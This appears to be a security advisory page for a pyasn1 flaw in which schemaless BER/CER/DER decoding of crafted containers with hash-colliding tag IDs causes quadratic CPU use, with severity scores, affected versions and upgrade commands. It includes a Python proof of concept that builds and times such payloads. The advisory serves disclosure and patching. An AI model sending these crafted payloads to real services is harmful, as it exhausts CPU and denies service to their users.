Skip to content

GHSA-fm9c-5rcf-2q5p CVE-2026-119194

pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding

High PyPI
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.43%
Chance of exploitation in the next 30 days. Higher than 36.82% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-407 Inefficient Algorithmic Complexity
Fix
0.6.5
Upgrade pyasn1 to this version or later

Description

Summary

When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.

Details

ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.

Proof of concept

Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:

import sys
import time

from pyasn1.codec.ber import decoder
from pyasn1.type import univ


def enc_tag(tag_id):
    groups = [tag_id & 0x7f]
    tag_id >>= 7
    while tag_id:
        groups.append((tag_id & 0x7f) | 0x80)
        tag_id >>= 7
    return b'\xbf' + bytes(reversed(groups))


def payload(tag_ids):
    body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
                    for tag_id in tag_ids)
    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
    return b'\x30' + bytes([0x80 | len(length)]) + length + body


for count in (3200, 6400):
    cases = (
        ("collision", [32 + i * sys.hash_info.modulus
                       for i in range(count)]),
        ("control", [(1 << 70) + i for i in range(count)]),
    )
    for name, tag_ids in cases:
        wire = payload(tag_ids)
        start = time.process_time()
        value, remainder = decoder.decode(wire)
        cpu_seconds = time.process_time() - start

        assert type(value) is univ.Sequence
        assert len(value) == count and remainder == b''
        for position, tag_id in enumerate(tag_ids):
            component = value.getComponentByPosition(position)
            assert component.asOctets() == b'A'
            assert component.tagSet[-1].tagId == tag_id

        print(count, name, len(wire), round(cpu_seconds, 3))

Impact

Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.

Affected versions

PyPI

PackageVulnerableFixed in
pyasn1
>= 0.3.3, < 0.6.5
0.6.5
pyasn1
>= 0.3.3, < 0.6.5
0.6.5

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pyasn1 PyPI → 0.6.5

pip
pip install --upgrade "pyasn1>=0.6.5"
poetry
poetry add "pyasn1>=0.6.5"
uv
uv add "pyasn1>=0.6.5"

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-407: Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-2qm8-x737-gmw5
pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding
High Also affects pyasn1
GHSA-mm57-4v3p-rchx
pyasn1 has quadratic-complexity denial of service in binary REAL decoding
High Also affects pyasn1
GHSA-9m75-vc3g-4x39
pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding
High Also affects pyasn1
GHSA-hm4w-wwcw-mr6r
pyasn1: Uncontrolled resource consumption when converting decoded REAL values
High Also affects pyasn1
GHSA-8ppf-4f7h-5ppj
pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service
High Also affects pyasn1
GHSA-m4p7-r5rc-7g4j
pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs
High Also affects pyasn1
GHSA-jr27-m4p2-rc6r
Denial of Service in pyasn1 via Unbounded Recursion
High Also affects pyasn1
GHSA-63vm-454h-vhhq
pyasn1 has a DoS vulnerability in decoder
High Also affects pyasn1

Credits: droideck

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor